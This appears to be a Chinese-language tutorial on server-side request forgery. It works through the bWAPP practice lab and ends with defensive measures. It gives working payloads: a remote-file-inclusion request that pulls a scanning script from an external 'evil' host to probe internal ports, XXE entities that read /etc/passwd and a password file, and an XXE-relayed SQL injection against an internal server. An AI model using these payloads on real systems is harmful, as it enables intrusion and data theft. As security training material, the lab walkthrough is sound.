SSRF服务器端请求伪造漏洞
原理:
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
SSRF 形成的原因
大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
原理简析:
SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。
利用ssrf可以实现的攻击
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。
SSRF测试实验
这里我们使用bwapp中的ssrf靶场
使用远程文件包含进行端口扫描
1.使用bee/bug进行登录,登录的时候的等级选择为low,登录后选择SSRF的靶场。
2.点击Hack后进入以下页面,bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:
任务1:使用远程文件包含进行端口扫描(内网探测)
任务2:使用XXE获取敏感文件中的内容(文件读取)
任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)
3.点击任务1中的Port scan可以获得一份端口扫描的攻击脚本 。
http://192.168.1.4:81/bwapp/evil/ssrf-1.txt,仅需要包含脚本,并请求IP参数为对应的主机即可,接下来就是利用bWAPP中的远程文件包含漏洞,执行端口扫描的脚本。
4.在Choose your bug中选择Remote & Local File Inclusion (RFI/LFI)security level还是选择low,然后点击Hack。
5.进入Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
GET的请求: http://192.168.1.4/bWAPP/rlfi.php?language=lang_en.php&action=go
6.使用如下PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务。
POST:http://192.168.1.4/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
POST DATA:ip=192.168.10.1
这里http://xxx.xxx.xxx/是扫描脚本的访问地址,192.168.10.1是要扫描的目标主机地址,且该地址是xxx.xxx.xxx主机无法访问到的,然后方便查看区分使用post请求提交要进行扫描的目标主机IP,扫描结束后便返回结果。
使用XXE获取敏感文件中的内容
先点击任务2中的Access得到XXE的利用脚本:http://xxx.xxx.xxx/bWAPP/xxe-1.php,然后访问XML External Entity Attacks (XXE)演练环境,使用burpSuite抓包,并发送到repeater中进行测试。
使用http协议获取/bWAPP/robots.txt的内容。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root1 [
<!ENTITY bWAPP SYSTEM
"http://localhost/1/bwapp/robots.txt">
]>
<reset>
<login>&bWAPP;</login>
<secret>blah</secret>
</reset>
php://filter/read=convert.base64-encode/resource=http://192.168.0.67/1/bwapp/passwords/heroes.xml
使用php协议获取/bWAPP/passwords/heroes.xml中的经过base64编码的数据。
使用file协议获取bWAPP本机的/etc/passwd的内容。
使用XXE进行内网sql注入
使用XXE进行内网sql注入)
这个任务对内网站点的SQL注入漏洞进行利用。如,192.168.163.150主机上有注入漏洞那么可以发送如下payload可以使用SSRF进行SQL漏洞的利用,当然也可以进行Struts2等漏洞的利用。
1.<?xml version=”1.0″ encoding=”utf-8″?>
2.<!DOCTYPE root [
3. <!ENTITY bWAPP SYSTEM "http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">
4.]>
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>
SSRF防护方法
1、防护措施
(黑名单)
(1)过滤10.0.0.0/8 、172.16.0.0/12、192.168.0.0/16、localhost私有地址、IPv6地址
(2)过滤file:///、dict://、gopher://、ftp:// 危险schema
(3)对返回的内容进行识别
(4)内网服务开启鉴权(Memcached, Redis, Elasticsearch and MongoDB)
2、最佳防护
(1)使用地址白名单
(2)对返回内容进行识别
(3)需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:首先禁用 CURLOPT_FOLLOWLOCATION;然后通过域名获取目标ip,并过滤内部ip;最后识别返回的内容是否与假定内容一致